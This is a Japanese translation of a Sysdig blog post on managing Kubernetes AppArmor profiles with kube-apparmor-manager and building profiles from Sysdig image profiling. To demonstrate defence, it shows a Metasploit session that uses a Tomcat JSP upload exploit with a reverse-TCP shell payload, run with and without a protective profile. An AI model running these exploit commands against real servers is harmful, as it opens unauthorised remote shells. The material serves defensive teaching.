ブログ

KubernetesのAppArmorプロファイルをkube-apparmor-managerで管理する

KubernetesのAppArmorプロファイルをkube-apparmor-managerで管理する

本文の内容は、2020年9月16日にKaizhe Huangが投稿したブログ(https://sysdig.com/blog/manage-apparmor-profiles-in-kubernetes-with-kube-apparmor-manager/)を元に日本語に翻訳・再構成した内容となっております。

Kube-apparmor-managerを使用して、Kubernetes上のAppArmorプロファイルを管理し、クラスターへの攻撃面を減らす方法をご紹介します。

AppArmor は Linux カーネルのセキュリティモジュールで、標準のLinux ユーザおよびグループベースのパーミッションを補完して、限られたリソースのセットにプログラムを制限します。

AppArmorは、潜在的な攻撃対象を減らし、より詳細な防御を提供するために、あらゆるアプリケーションに対して構成することができます。プロファイルを介して設定し、Linuxの機能、ネットワークアクセス、ファイル権限など、特定のプログラムやコンテナが必要とするアクセスをホワイトリスト化するように調整することができます。

このブログではまず、AppArmorプロファイルの簡単な例と、Kubernetesのワークロードでどのように攻撃面を減らすことができるかを紹介します。次に、新しいオープンソースツールであるkube-apparmor-managerを紹介し、Kubernetesクラスター内でAppArmorプロファイルを簡単に管理するのにどのように役立つかを紹介します。最後に、リバースシェル攻撃を防ぐためにイメージプロファイルからAppArmorプロファイルを構築する方法を実演します。

AppArmorプロファイルの紹介

AppArmorプロファイルは、ターゲットの限定されたアプリケーションがシステム上のどのようなリソース(ネットワーク、システム機能、ファイルなど)にアクセスできるかを定義します。

ここでは、シンプルなAppArmorプロファイルの例を示します:

profile k8s-apparmor-example-deny-write flags=(attach_disconnected) {
  file,
  # Deny all file writes.
  deny /** w,
} 

この例では、プロファイルは、ファイルシステム全体への書き込み以外のすべての種類のアクセスをアプリケーションに許可します。これには2つのルールが含まれています。

  • file:ファイルシステム全体へのあらゆる種類のアクセスを許可します。
  • deny /** w::ルート / ディレクトリ以下のファイルへの書き込みを拒否します。構文式 /** は、ルートディレクトリ以下のファイルだけでなく、そのサブディレクトリ以下のファイルにも適用されます。
  • コンテナがAppArmorプロファイルを使用できるようにKubernetesクラスタを設定するには、以下の手順で行います。
  1. クラスターのすべてのノードにAppArmorをインストールして有効にします
  2. 使用するapparmorプロファイルをすべてのノードにコピーし、それをenforceモードまたは complainモードのいずれかにします。
  3. コンテナ・ワークロードにAppArmorプロファイル名をアノテートします。

以下に、Podでプロファイルを使用する方法を示します:

apiVersion: v1
kind: Pod
metadata:
  name: hello-apparmor
  annotations:
    # Tell Kubernetes to apply the AppArmor profile "k8s-apparmor-example-deny-write".
    container.apparmor.security.beta.kubernetes.io/hello: localhost/k8s-apparmor-example-deny-write
spec:
  containers:
  - name: hello
    image: busybox
    command: [ "sh", "-c", "echo 'Hello AppArmor!' && sleep 1h" ] 

上記のPod yamlでは、helloという名前のコンテナがk8s-apparmor-example-deny-writeという名前のAppArmorプロファイルを使用しています。 AppArmorプロファイルが存在しない場合、Podは作成されません。

各プロファイルは、許可されていないリソースへのアクセスをブロックするenforceモード、または違反のみを報告するcomplainモードのいずれかで実行できます。AppArmorプロファイルを作成したら、まずそれをcomplainモードで適用し、しばらくの間ワークロードを実行することをお勧めします。 AppArmorログを分析することで、誤検知アクティビティを検出して修正できます。 十分な自信があれば、プロファイルをenforceモードに切り替えることができます。

プロファイルがenforceモードで実行されている場合、ファイルの書き込みアクティビティはすべてブロックされます。

$ kubectl exec hello-apparmor touch /tmp/test
touch: /tmp/test: Permission denied
error: error executing remote command: command terminated with non-zero exit code: Error executing in Docker Container: 

これは簡単な例でした。次に、AppArmorを本番環境に実装する際の課題について考えます。

まず、毎日のタスクをブロックせずに攻撃を防ぐために、各コンテナの堅牢なプロファイルを作成する必要があります。

次に、クラスター内のすべてのノードでいくつかのプロファイルを管理する必要があります。

kube-apparmor-managerが管理部分にどのように役立つか、Sysdig Secureのイメージプロファイリング機能がこれらのプロファイルの構築にどのように役立つかについて説明します。

Kube-apparmor-manager

apparmor-loaderなど、KubernetesクラスターでAppArmorプロファイルを管理するのに役立つツールがいくつかあります。 Apparmor-loaderは特権デーモンセットとして実行され、AppArmorプロファイルを含むconfigmapをポーリングし、最後にプロファイルをenforceモードまたはcomplainモードのいずれかにします。ただし、これにより、理想的とはほど遠い特権ワークロードが発生します。そのため、別のアプローチを考え出すことができます。

Kube-apparmor-managerのアプローチは異なります:

  1. カスタムリソース定義apparmorprofiles.crd.security.sysdig.com)を使用して、プロファイルをKubernetesオブジェクトとして表します。
  2. kubectlプラグインは、etcdに保存されているAppArmorProfileオブジェクトを実際のAppArmorプロファイルに変換し、ノード間で同期します。

それらがどのように機能するかを詳しく見てみましょう。

AppArmorProfileカスタムリソース定義

AppArmorProfile CRDは、AppArmorプロファイルをKubernetesオブジェクトとして表すスキーマを定義します。

AppArmorプロファイルの例は、次の形式のようになります。

apiVersion: crd.security.sysdig.com/v1alpha1
kind: AppArmorProfile
metadata:
  name: k8s-apparmor-example-deny-write
spec:
  # Add fields here
  enforced: true
  rules: |
    # read only file paths
    file,
    deny /** w, 

enforcedフィールドは、プロファイルがenforceモードかcomplainモードかを示します。 フィールドルールには、ホワイトリストまたはブラックリストルールのリストを含むAppArmorプロファイル本文が含まれています。

これはクラスターレベルのオブジェクトであることに注意してください。

Apparmor-managerプラグイン

CRDがKubernetesクラスターにインストールされたら、kubectlを使用してAppArmorProfileオブジェクトとの対話を開始できます。 ただし、AppArmorProfileオブジェクトのコンテンツを実際のAppArmorプロファイルに変換し、すべてのノードに配布する必要があります。

これは、kubectlプラグインであるapparmor-managerが行うことです。

krewを使用してインストールできます:

$ kubectl krew install apparmor-manager

apparmor-managerがSSH経由でワーカーノードと通信するため、いくつかの環境変数を設定する必要があります。

  • SSH_USERNAME:ワーカーノードにアクセスするためのSSHユーザー名。 デフォルトはadmin
  • SSH_PERM_FILE:ワーカーノードにアクセスするためのSSH秘密鍵。 デフォルトは$HOME/.ssh/id_rsa
  • SSH_PASSPHRASE:SSHパスフレーズ(秘密鍵がパスフレーズで保護されている場合にのみ該当)

AppArmorがノードにインストールされていない場合、apparmor-managerは次のコマンドを使用してワーカーノードでAppArmorを有効にするのに役立ちます。

$ kubectl apparmor-manager init

initコマンドは、CRDもインストールします。

すべてが構成されたら、次のコマンドを使用してノードのAppArmorのステータスを確認できます。

$ kubectl apparmor-manager status
+-------------------------------+---------------+----------------+--------+------------------+
|           NODE NAME           |  INTERNAL IP  |  EXTERNAL IP   |  ROLE  | APPARMOR ENABLED |
+-------------------------------+---------------+----------------+--------+------------------+
| ip-172-20-45-132.ec2.internal | 172.20.45.132 | 54.91.xxx.xx   | master | false            |
| ip-172-20-54-2.ec2.internal   | 172.20.54.2   | 54.82.xx.xx    | node   | true             |
| ip-172-20-58-7.ec2.internal   | 172.20.58.7   | 18.212.xxx.xxx | node   | true             |
+-------------------------------+---------------+----------------+--------+------------------+ 

kubectlを使用して最初のAppArmorProfileオブジェクトを作成することもできます。

$ kubectl apply -f deny-write.yaml
apparmorprofile.crd.security.sysdig.com/k8s-apparmor-example-deny-write created
$ kubectl get aap
NAME                              AGE
k8s-apparmor-example-deny-write   5s 

作成したら、AppArmorProfilesをワーカーノードに同期します。

$ kubectl apparmor-manager enforced
+-------------------------------+--------+---------------------------------------------------------------+
|           NODE NAME           |  ROLE  |                       ENFORCED PROFILES                       |
+-------------------------------+--------+---------------------------------------------------------------+
| ip-172-20-48-62.ec2.internal  | node   | /usr/sbin/ntpd,docker-default,k8s-apparmor-example-deny-write |
| ip-172-20-77-231.ec2.internal | node   | /usr/sbin/ntpd,docker-default,k8s-apparmor-example-deny-write |
| ip-172-20-80-19.ec2.internal  | master |                                                               |
| ip-172-20-97-60.ec2.internal  | node   | /usr/sbin/ntpd,docker-default,k8s-apparmor-example-deny-write |
+-------------------------------+--------+---------------------------------------------------------------+ 

k8s-apparmor-example-deny-writeは先ほど作成して同期したものですが、他の2つはデフォルトでAppArmorとともにインストールされます。

最後のステップは、前述のようにアノテーションを使用して、このプロファイルを使用するようにPodを構成することです。

次に、Sysdig Secureを使用して堅牢なAppArmorプロファイルを作成する方法について説明します。

Sysdig Secureを使用して堅牢なApparmorプロファイルを構築する

イメージプロファイリングを使用すると、Sysdig Secureはコンテナを24時間プロファイリングし、どのプロセス、ファイルシステムアクティビティ、ネットワークビヘイビア、およびシステムコールが予期されるかを学習します。この知識があれば、学習したイメージプロファイルを生成し、それを使用して、本番環境での異常な動作からコンテナを保護できるランタイムポリシーを作成できます。

以前、リバースシェル攻撃とは何かを取り上げ、tomcatイメージを使用して、そのような攻撃を検出するためのイメージプロファイリングに基づいたポリシーを作成しました。

学習したイメージプロファイルからAppArmorプロファイルを作成する方法を見てみましょう。

まず、tomcatイメージプロファイルがどのようになっていたかを思い出してみましょう:

20200917-1.png

プロファイルはTomcatイメージ用に作成され、ネットワーク接続、ファイルアクティビティ、プロセス、syscallsをカバーしています。 プロファイルに関する詳細は次のとおりです。

  • Tomcatコンテナ内で実行されるプロセスは、bash、dirname、java、tty、およびunameです。
  • リスニングポートは8080です。
  • 発信ネットワーク接続はありません。
  • index_jsp.class、index_jsp.java、index_jsp.classtmp、ログファイル、および一部のシステムファイルなど、読み取り/書き込み用に開かれた一連のファイル。
  • 最後に、43の異なるシステムコールが記録されました。

AppArmorポリシーを作成する場合:

  • tomcatは8080ポートでのみリッスンしているため、追加の設定は必要ありません。
  • 検出されたプロセスに基づいて、追加の管理機能は必要ありません。
  • ファイルアクティビティリスト(プロセスの起動を含む)を調べ、各エントリのルールを作成する必要があります。

Apparmorプロファイルは次のようになります:

apiVersion: crd.security.sysdig.com/v1alpha1
kind: AppArmorProfile
metadata:
  name: tomcat
spec:
  # Add fields here
  enforced: false
  rules: |
    # read only file paths
    allow /etc/** r,
    allow /dev/** r,
    allow /usr/lib/** mr,
    allow /usr/local/** mr,
    allow /lib/x86_64-linux-gnu/** mr,
    allow /sys/devices/system/cpu/** r,
    allow /sys/devices/system/cpu/ r,
    allow /sys/kernel/mm/* r,
    allow /usr/share/java/** r,
    allow /var/lib/docker/overlay2/*/diff/** r,
    allow /usr/share/zoneinfo/UTC r,
    # allow read write file paths
    allow /tmp/* rw,
    allow /proc/* rw,
    allow /dev/null rw,
    allow /dev/tty rw,
    allow /usr/local/tomcat/** rw,
    allow /lib/x86_64-linux-gnu/* rw,
    # allow only a few commands
    allow /usr/bin/dirname mrix,
    allow /bin/uname mrix,
    allow /**/java mrix,
    allow /usr/bin/tty mrix,
    allow /usr/bin/env mrix,
    allow /bin/bash mrix,
    allow /usr/local/tomcat/bin/* mrix, 

いくつかのファイルパスのみの読み取り、さらに少ないファイルパスの読み取り/書き込み、およびいくつかのコマンドの実行が可能です。

metasploitでリバースシェル攻撃を開始して、TomcatコンテナにAppArmorプロファイルを適用しないと何が起こるかを見てみましょう。

resource (tomcat.rc)> use exploit/multi/http/tomcat_jsp_upload_bypass
resource (tomcat.rc)> set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
resource (tomcat.rc)> set TARGETURI /
TARGETURI => /
resource (tomcat.rc)> run
[*] Started reverse TCP handler on 100.127.61.193:45521
[*] Uploading payload...
[*] Payload executed!
[*] Command shell session 1 opened (100.127.61.193:45521 -> 100.127.61.196:54460) at 2020-04-15 23:12:03 +0000
ls
LICENSE
NOTICE
RELEASE-NOTES
RUNNING.txt
bin
conf
include
lib
logs
native-jni-lib
temp
webapps
work
pwd
/usr/local/tomcat
exit 

上記の出力は、リバースシェル接続が確立されたことを示しています。 コマンドlsおよびpwdが実行され、出力が表示されました。

次に、AppArmorプロファイルを適用して、もう一度試してみましょう:

resource (tomcat.rc)> use exploit/multi/http/tomcat_jsp_upload_bypass
resource (tomcat.rc)> set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
resource (tomcat.rc)> set TARGETURI /
TARGETURI => /
resource (tomcat.rc)> run
[*] Started reverse TCP handler on 100.127.61.193:45521
[*] Uploading payload...
[*] Command shell session 1 opened (100.127.61.193:45521 -> 100.127.61.197:58878) at 2020-04-15 23:16:44 +0000
[*] Payload executed!
ls
pwd 

上記の出力から、いくつかのことを結論付けることができます。

ペイロードは引き続き削除されます。 これは、AppArmorプロファイルでルールが/usr/local/tomcat/** rwを許可しているためです。 このルールを特定のファイルにきめ細かく設定することでこのルールを確実に改善できるため、ホワイトリストにあるファイル名のいずれかを使用しない限り、悪意のあるペイロードを書き込むことはできません。 もちろん、Webアプリケーションファイアウォールも悪意のあるペイロードを検出する可能性がありますが、これはここでは取り上げません。

lsおよびpwdの実行からの出力はありませんでした。 これらの2つのコマンドはAppArmorプロファイルのホワイトリストに含まれていなかったため、ご想像のとおりです。

ただし、tomcatポッドが実行されているノードのAppArmorログを見ると、次のことがわかります。

Apr 15 23:16:44 ip-172-20-48-62 kernel: [20095.177527] audit: type=1400 audit(1586992604.329:50): apparmor="DENIED" operation="open" profile="tomcat" name="/proc/66/fd/" pid=1309 comm="java" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
Apr 15 23:16:44 ip-172-20-48-62 kernel: [20095.725025] audit: type=1400 audit(1586992604.877:51): apparmor="DENIED" operation="exec" profile="tomcat" name="/bin/dash" pid=1309 comm="java" requested_mask="x" denied_mask="x" fsuid=0 ouid=0 

シェルコマンド/bin/dashもブロックされました。 lsやpwdなどのすべてのフォローアップコマンドは、餌食となったPodと対話するためにそのシェルに依存していました。

AppArmorプロファイルはリバースシェル攻撃を無事に軽減しました!

まとめ

攻撃者がシステムにアクセスすると、複数の方法でリバースシェルを確立できます。

AppArmorプロファイルは、コンテナ内のアプリケーションをより小さなリソースセットに制限することにより、攻撃対象を減らすのに役立ちます。 ただし、堅牢なAppArmorプロファイルを作成して効果的に管理することは、Kubernetes管理者が直面する2つの課題です。

Kube-apparmor-managerは、一元化されたCRDオブジェクトを介してワーカーノード全体でAppAmorプロファイルを管理するのに役立ちます。

ワークロードを保護する堅牢なAppArmorプロファイルを構築するには、コンテナのアクティビティを知ることが不可欠です。

Sysdig Secureを今すぐお試しください! また、イメージプロファイリングを使用して、独自のAppArmorプロファイルを簡単に作成できることを確認してください。

ご質問・お問い合わせはこちら

top